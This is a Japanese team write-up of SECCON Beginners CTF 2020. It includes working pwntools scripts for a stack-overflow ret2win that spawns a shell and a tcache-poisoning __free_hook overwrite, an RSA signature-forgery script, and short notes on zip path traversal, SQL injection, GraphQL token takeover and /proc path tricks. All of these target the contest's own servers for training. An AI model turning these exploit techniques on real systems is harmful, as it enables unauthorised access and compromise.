2020-05-23 14:00 - 2020-05-24 14:00 (JST)に開催されたSECCON Beginners CTF 2020のwrite-upです。

なお、今回は以下のメンバー編成で参加しました。

  • yuscarlet
  • mayth
  • yyu
  • favcastle

Pwn

Beginner’s Stack

Let’s learn how to abuse stack overflow!

64bit ELFのバイナリが与えられる。これがサーバーで動いている。

実行すると

Your goal is to call `win` function (located at 0x400861)

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffeb1443ac0 | 0x00007f30a003dfc8 | <-- buf
                   +--------------------+
0x00007ffeb1443ac8 | 0x0000000000400ad0 |
                   +--------------------+
0x00007ffeb1443ad0 | 0x0000000000400ad0 |
                   +--------------------+
0x00007ffeb1443ad8 | 0x00007f30a0078190 |
                   +--------------------+
0x00007ffeb1443ae0 | 0x00007ffeb1443af0 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffeb1443ae8 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007ffeb1443af0 | 0x0000000000000000 | <-- saved rbp (main)
                   +--------------------+
0x00007ffeb1443af8 | 0x00007f309fe740b3 | <-- return address (main)
                   +--------------------+
0x00007ffeb1443b00 | 0x0000000100000001 |
                   +--------------------+
0x00007ffeb1443b08 | 0x00007ffeb1443be8 |
                   +--------------------+

といった感じに目標と現時点のスタックフレームが示される親切設計となっている。ついでに目的のwin関数では、system("/bin/sh")を呼び出してくれる。つまりwin関数を呼べれば自動的にシェルが取れる。

さて、IDAで実行ファイルを見てみると、vulnという関数で入力を受け付けてbufに格納していることがわかる。このとき、buf0x20(32)byteしかない一方で、read関数を呼ぶときに入力サイズを0x200に設定していて、ここでスタックオーバーフローが発生する。これを使って"return address (vuln)“となっている箇所を書き換えればよい。飛び先となるwin関数のアドレスは分かっているし、“return address"までの長さも分かっているので、次のような入力を与える(エンディアンに注意)。

$ perl -e 'print "A"x40 . "\x61\x08\x40"' | ./chall

これは失敗する。

Oops! RSP is misaligned!
Some functions such as `system` use `movaps` instructions in libc-2.27 and later.
This instruction fails when RSP is not a multiple of 0x10.
Find a way to align RSP! You're almost there!

というわけで、rsp(スタックポインタ)が0x10の倍数になっていないといけない。スタックポインタは8byteずつ動くので、push/popが呼び出される回数を1回増やすか減らすかする。

win関数があるという0x400861だが、これは関数の先頭、すなわちpush rbpを指している。これによってズレているのだとすれば、この命令を飛ばせばよいはずである。push rbpの直後の0x400862を書き込むようにする。

$ perl -e 'print "A"x40 . "\x62\x08\x40"' | ./chall
...
Congratulations!

祝福されたものの即座に終了してしまう。試しにncで実際の問題サーバーに投げ込んでも、同様に応答が返ってこなくなる。これで1時間以上は潰していたのだが、神の助言によってstraceをしてみると、どうもsystem("/bin/sh")は呼べているがttyが取れなくて死んでいるようだった。

どうしたものか悩んだところで、そういえばpwntoolsにinteractiveとかいうメソッド生えてなかったっけ、これでttyの代わりにならんか、と思い出してpwntoolsを使ってみる。

from pwn import *

context.arch = 'amd64'

io = process('chall')

vuln_ret = pack(0x400862)
io.sendline(b'A' * 40 + vuln_ret)
io.interactive()

これを実行すると無事に対話的にコマンドが打てるようになった。接続先を問題サーバーにして実行し、対話環境に入ったところでフラグをcatした。

Beginner’s Heap

この問題を解くにあたってはこちらの記事が大変参考になった: t-cache poisoning: FireShell CTF 2019 babyheap - ふるつき

さて、こちらはバイナリがない。ncで問題サーバーに繋ぐとこんな表示が現れる。

Let's learn heap overflow today
You have a chunk which is vulnerable to Heap Overflow (chunk A)

 A = malloc(0x18);

Also you can allocate and free a chunk which doesn't have overflow (chunk B)
You have the following important information:

 <__free_hook>: 0x7fe9b33978e8
 <win>: 0x56491d3be465

Call <win> function and you'll get the flag.

1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint

この対話環境を操作し、ヒープオーバーフローを使ってwin関数を呼び出すのが目標となる。なお、__free_hookwin関数のアドレスは毎回変化する(検証のために再実行を繰り返しているため、以下のコンソール出力の例示では__free_hookだとするアドレスが変化しているが、その辺りはよしなに読み替えてほしい)。

A0x18byteしかない一方で、1の操作で0x80byteまで書くことができる。Bにはオーバーフローの脆弱性はないが、2の操作でmallocして書き込み、3の操作でfreeができる。残りはヒープ状態の表示、tcacheの状態の表示、そしてヒントの表示である。

何はともあれヒントを見てみる。

Tcache manages freed chunks in linked lists by size.
Every list can keep up to 7 chunks.
A freed chunk linked to tcache has a pointer (fd) to the previously freed chunk.
Let's check what happens when you overwrite fd by Heap Overflow.

まず2でBをmallocして適当な値を書き込み、3でfreeする。この時点で4/5を実行すると次のような状態であることがわかる。

-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x558bbf3eb330
 [+] B = (nil)
                   +--------------------+
0x0000558bbf3eb320 | 0x0000000000000000 |
                   +--------------------+
0x0000558bbf3eb328 | 0x0000000000000021 |
                   +--------------------+
0x0000558bbf3eb330 | 0x0000000000000000 | <-- A
                   +--------------------+
0x0000558bbf3eb338 | 0x0000000000000000 |
                   +--------------------+
0x0000558bbf3eb340 | 0x0000000000000000 |
                   +--------------------+
0x0000558bbf3eb348 | 0x0000000000000021 |
                   +--------------------+
0x0000558bbf3eb350 | 0x0000000000000000 |
                   +--------------------+
0x0000558bbf3eb358 | 0x0000000000000000 |
                   +--------------------+
0x0000558bbf3eb360 | 0x0000000000000000 |
                   +--------------------+
0x0000558bbf3eb368 | 0x0000000000020ca1 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
-=-=-=-=-= TCACHE -=-=-=-=-=
[    tcache (for 0x20)    ]
        ||
        \/
[ 0x0000558bbf3eb350(rw-) ]
        ||
        \/
[      END OF TCACHE      ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=

ヒントにあったfd0x0000558bbf3eb350(元々Bがあった場所)になっている。 この状態でmallocを行うと確保されたアドレスとして0x0000558bbf3eb350が返ってくるのだが、ヒープレイアウトを見てわかる通り、この領域はAのヒープオーバーフローによって書き換えられる。とりあえず目標の0x0000558bbf3eb350__free_hookのアドレスに書き換えてみる。先ほどの教訓を生かして最初からpwntoolsを使うことにした。

p.sendline(b'X' * 0x20 + p64(free_hook_addr))

これでヒントを見るとチャンクサイズが壊れているか大きすぎると言われる。

It seems __free_hook is successfully linked to tcache!
But the chunk size is broken or too big maybe...?
-=-=-=-=-= TCACHE -=-=-=-=-=
[    tcache (for 0x20)    ]
        ||
        \/
[ 0x0000556bb204b350(rw-) ]
        ||
        \/
[ 0x00007fe2b3efe8e8(rw-) ]
        ||
        \/
[      END OF TCACHE      ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=

fdの直前8byteがチャンクサイズなのだが、先ほどの入力では0x5858585858585858になっている。これを適当に0x20にするとヒントが変わる。

p.sendlineafter("> ", '1')
p.sendline(b'X' * 0x18 + p64(0x20) + p64(free_hook_addr))
It seems __free_hook is successfully linked to tcache!
But you can't get __free_hook since you can only malloc/free B.
What if you change the chunk size to a value other than 0x20...?

あまりに大きすぎると先ほどのように壊れていると言われるので、0x30にすると次の段階になった。

It seems __free_hook is successfully linked to tcache!
And the chunk size is properly forged!

ここでもう一度Bmallocと書き込みを行う。ここで書き込む内容はなんでもよい。

p.sendlineafter("> ", '2')
p.sendline(b'X' * 0x10)

この段階でのヒントはこんな感じ。

It seems __free_hook is successfully linked to tcache!
The first link of tcache is __free_hook!
But B is not empty...

Bfreeして空にしてみる。

It seems __free_hook is successfully linked to tcache!
The first link of tcache is __free_hook!
Also B is empty! You know what to do, right?

ここでtcacheの状態を見てみると、Bfreeしたのにここに追加されておらず、__free_hookのアドレスだけが残っていることがわかる。

-=-=-=-=-= TCACHE -=-=-=-=-=
[    tcache (for 0x20)    ]
        ||
        \/
[ 0x00007fc20362c8e8(rw-) ]
        ||
        \/
[      END OF TCACHE      ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=

最初のヒントには以下の記載があった。

Tcache manages freed chunks in linked lists by size.

また、冒頭に挙げた記事にも次の記載がある。

定数TCACHE_MAX_BINSはデフォルトでは64になっていて、キャッシュされるサイズは0x18, 0x28, 0x38, …, 0x408バイト以下というように区切られています。

つまり、先ほどチャンクサイズを0x30ということにしたため、今mallocしてfreeしたBはtcacheの別のリストに追加された、ということだと思う(たぶん)。

さて、この状態になると次のmallocでは__free_hookのアドレスが返ってくる。__free_hookfreeしたときに呼び出される関数へのポインタである。したがって、今mallocして返ってきた領域にwin関数のアドレスを書き込んでfreeを呼ぶと、代わりにwin関数が呼び出される。最後に出力を表示するのを忘れずに。

p.sendlineafter('> ', '2')
p.sendline(pack(win_addr))

p.sendlineafter('> ', '3')

log.info(p.recvline_contains("ctf4b"))

Crypto

R&B

先頭の文字を見て、Bならbase64decode、RならROT13decodeを繰り返す。

Noisy equations

下記のPythonプログラムが動いている。

from os import getenv
from time import time
from random import getrandbits, seed


FLAG = getenv("FLAG").encode()
SEED = getenv("SEED").encode()

L = 256
N = len(FLAG)


def dot(A, B):
    assert len(A) == len(B)
    return sum([a * b for a, b in zip(A, B)])

coeffs = [[getrandbits(L) for _ in range(N)] for _ in range(N)]

seed(SEED)

answers = [dot(coeff, FLAG) + getrandbits(L) for coeff in coeffs]

print(coeffs)
print(answers)

この変数FLAGの内容を知ることができればOKという問題。 answersが表示されているが、これには乱数getrandbits(L)が加算されているので、 2回分のデータを使っていくという方法がある。 いま1回目の結果得られたcoeffsを\(C_1\)、そして2回目を\(C_2\)とすると、 これらは次のような行列である。

$$ \begin{align*} C_1 &= \left[ \begin{array}{cccc} c^1_{1,1} & c^1_{1,2} & \dots & c^1_{1,44} \\\ \vdots & \ddots & & \vdots \\\ \vdots & & \ddots & \vdots \\\ c^1_{44,1} & c^1_{44,2} & \dots & c^1{44,44} \end{array} \right] \\\ \\\ C_2 &= \left[ \begin{array}{cccc} c^2_{1,1} & c^2_{1,2} & \dots & c^2_{1,44} \\\ \vdots & \ddots & & \vdots \\\ \vdots & & \ddots & \vdots \\\ c^2_{44,1} & c^2_{44,2} & \dots & c^2_{44,44} \end{array} \right] \end{align*} $$

そしてanswerは1回目を\(A_1\)、そして2回目を\(A_2\)とすると次のようになる。

$$ \begin{align*} A_1 &= \left[ \begin{array}{c} a^1_{1} \\\ \vdots \\\ a^1_{44} \end{array} \right] \\\ \\\ A_2 &= \left[ \begin{array}{c} a^2_{1} \\\ \vdots \\\ a^2_{44} \end{array} \right] \end{align*} $$

ここで\(a^1_{i} - a^2_{i}\)について考える。求めたいFLAGの1文字目から\(x_1, \dots, x_{44}\)とすると、

$$ a^1_{i} = \left(\sum^{44}_{j=1}{C^1_{i,j} \times x_j}\right) + R_i $$

であり、この\(R_i\)はgetrandbits(L)だがPythonプログラムを見ると、シードを固定しているため、 どんな値なのかよく分からないが毎回同じ結果になる。 したがって、\(a^1_{i} - a^2_{i}\)は次のように\(R_i\)がキャンセルされる。

$$ a^1_{i} - a^2_{i} = \left(\sum^{44}_{j=1}{C^1_{i,j} \times x_j}\right) - \left(\sum^{44}_{j=1}{C^2_{i,j} \times x_j}\right) $$

したがってこれを行列表現すると

$$ \left[ \begin{array}{c} a^1_{1} - a^2_{1} \\\ \vdots \\\ a^1_{44} - a^2_{44} \end{array} \right] = \left[ \begin{array}{cccc} c^1_{1,1} - c^2_{1,1} & c^1_{1,2} - c^2_{1,2} & \dots & c^1_{1,44} - c^2_{1,44} \\\ \vdots & \ddots & & \vdots \\\ \vdots & & \ddots & \vdots \\\ c^1_{44,1} - c^2_{44,1} & c^1_{44,2} - c^2_{44,2} & \dots & c^1_{44,44} - c^2_{44,44} \end{array} \right] \left[ \begin{array}{c} x_{1} \\\ \vdots \\\ x_{44} \end{array} \right] $$

したがってあとは\(C_1 - C_2\)の逆行列からFLAGを得られる。

import os
import json
import numpy as np
from numpy.linalg import inv

stream = os.popen("nc noisy-equations.quals.beginners.seccon.jp 3000")

coeffs1 = json.loads(stream.readline())
answer1 = json.loads(stream.readline())

stream2 = os.popen("nc noisy-equations.quals.beginners.seccon.jp 3000")

coeffs2 = json.loads(stream2.readline())
answer2 = json.loads(stream2.readline())

coeff_diffs =np.matrix(
    [ [ c1 - c2 for (c1, c2) in zip(c1s, c2s) ] for (c1s, c2s) in zip(coeffs1, coeffs2)  ],
    dtype = 'float'
)

answer_diffs = np.transpose(
        np.matrix(
            [ a1 - a2 for (a1, a2) in zip(answer1, answer2) ],
            dtype = 'float'
        )
)

coeff_diffs_inv = inv(
    np.matrix(coeff_diffs, dtype = 'float')
)
flag = np.transpose(np.linalg.solve(coeff_diffs, answer_diffs))

flag_int = np.around(flag).astype(int).tolist()[0]

print(flag)

print( "".join([ chr(i) for i in flag_int ]) )

RSA Calc

下記のようなプログラムが動いている。

from Crypto.Util.number import *
from params import p, q, flag
import binascii
import sys
import signal


N = p * q
e = 65537
d = inverse(e, (p-1)*(q-1))


def input(prompt=''):
    sys.stdout.write(prompt)
    sys.stdout.flush()
    return sys.stdin.buffer.readline().strip()

def menu():
    sys.stdout.write('''----------
1) Sign
2) Exec
3) Exit
''')
    try:
        sys.stdout.write('> ')
        sys.stdout.flush()
        return int(sys.stdin.readline().strip())
    except:
        return 3


def cmd_sign():
    data = input('data> ')
    if len(data) > 256:
        sys.stdout.write('Too long\n')
        return

    if b'F' in data or b'1337' in data:
        sys.stdout.write('Error\n')
        return

    signature = pow(bytes_to_long(data), d, N)
    sys.stdout.write('Signature: {}\n'.format(binascii.hexlify(long_to_bytes(signature)).decode()))

def cmd_exec():
    data = input('data> ')
    signature = int(input('signature> '), 16)

    if signature < 0 or signature >= N:
        sys.stdout.write('Invalid signature\n')
        return

    check = long_to_bytes(pow(signature, e, N))
    if data != check:
        sys.stdout.write('Invalid signature\n')
        return

    chunks = data.split(b',')
    stack = []
    for c in chunks:
        if c == b'+':
            stack.append(stack.pop() + stack.pop())
        elif c == b'-':
            stack.append(stack.pop() - stack.pop())
        elif c == b'*':
            stack.append(stack.pop() * stack.pop())
        elif c == b'/':
            stack.append(stack.pop() / stack.pop())
        elif c == b'F':
            val = stack.pop()
            if val == 1337:
                sys.stdout.write(flag + '\n')
        else:
            stack.append(int(c))

    sys.stdout.write('Answer: {}\n'.format(int(stack.pop())))


def main():
    sys.stdout.write('N: {}\n'.format(N))
    while True:
        try:
            command = menu()
            if command == 1:
                cmd_sign()
            if command == 2:
                cmd_exec()
            elif command == 3:
                break
        except:
            sys.stdout.write('Error\n')
            break


if __name__ == '__main__':
    signal.alarm(60)
    main()

Fまたは1337を含まないならば、任意の文字列に署名してくれる。そしてスタック署名されたスタックマシンの命令列を実行し、狙ったところに入れる(そのためにF1337が必要)ことができればフラグが入手できる。 RSAの準同型性を利用した。端的にいうと、いまRSAのパラメーターとして\(N, e, d\)と、任意の平文\(m_1, m_2\)があるとして、RSAは次がなりたつ。

$$ \text{Sign}_{d, N}(m_1 \times m_2) \equiv \text{Sign}_{d, N}(m_1) \times \text{Sign}_{d, N}(m_2) \bmod N $$

よって次のようなプランでアタックする。

  1. \(2\)に署名させる
  2. \(\frac{\mathtt{1337,F}}{2}\)した値に署名させる
    • 偶然1337,Fの数値表現は\(2\)で割り切ることができた
  3. 上記2つの署名をかけ算して\(N\)で割った余りをとる
    • これが1337,Fの署名となっている
  4. 1337,Fを実行し、署名として(3)で得られたものを入れる

これをやるのが下記のプログラムである。

import numpy as np
import re
import socket
from Crypto.Util.number import *

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("rsacalc.quals.beginners.seccon.jp", 10001))
data = s.recv(4096).decode("utf-8")
data_n = re.search('N: (\d+)\n', data).group(1)

N = int(data_n)

print("N: " + str(N))

command = bytes_to_long(b'1337,F')
half_command = int(command / 2)

print("command: " + str(command))

# Get `2` signature
s.sendall(b'1\n')
print(s.recv(1024).decode("utf-8"))

s.sendall(b'\02\n')

signature_2 = int(
    re.search('Signature: ([\da-f]+)', s.recv(4096).decode("utf-8")).group(1),
    16
)

print("signature_2: " + str(signature_2))

# Get `half_command` signature
s.sendall(b'1\n')
print(s.recv(1024).decode("utf-8"))

s.sendall(
    half_command.to_bytes((half_command.bit_length() + 7) , byteorder='big', signed=False) + b'\n'
)

signature_half_command = int(
    re.search('Signature: ([\da-f]+)', s.recv(4096).decode("utf-8")).group(1),
    16
)

print("signature half command: " + str(signature_half_command))

# Calculate signature
signature_command = signature_half_command * signature_2 % N

print("GOOOOOOOOOOOOOOOOOO")

# Execute command
s.sendall(b'2\n')
print(s.recv(1024).decode("utf-8"))
s.sendall(b'1337,F\n')
print(s.recv(1024).decode("utf-8"))
sig = (format(signature_command, 'x')).encode("ascii")

s.sendall(sig + b'\n\n')

print(s.recv(2024).decode("utf-8"))

Web

Spy

ユーザの有無でサーバの応答時間が変わるので、全ユーザー試して列挙。

Tweetstore

SQLインジェクションでユーザ情報を表示する。

unzip

解凍後に../../../../../../../../../flag.txtを展開するzipをアップロード。

profiler

Burp Suiteで通信を覗くと、APIでGraphQLが使われていることがわかる。 AltairというChrome拡張機能でGraphQLのクエリを送ることができる。 利用できそうなAPIを探すと、他の人のprofileが覗けそうなsomeoneとトークンをアップデートできそうなupdateTokenが見つかる。 someoneでuid:adminを指定してリクエストすると、adminのTokenが参照できる。 ここで手に入れた値をupdateTokenで指定すると、自分のTokenがadminと同じトークンに変更できる。 この状態でflagページにアクセスすると、flagが表示される。

Reversing

mask

Ghidraに食わせると、flagの各文字を& 0x75した文字列と& 0xebした文字列が見つかるので、これらの論理和を計算。

yakisoba

Ghidraに食わせると、flagの各文字を判定する関数が見つかるので、読む。

ghost

実装が与えられているので、総当たり。

Misc

Welcome

Discordを見る。

emoemoencode

絵文字の文字コードの下2桁をasciiにする。

readme

/proc/self/environでpwdが/home/ctf/serverとわかるので、/proc/self/cwd/../flagを渡し、相対パスでアクセス。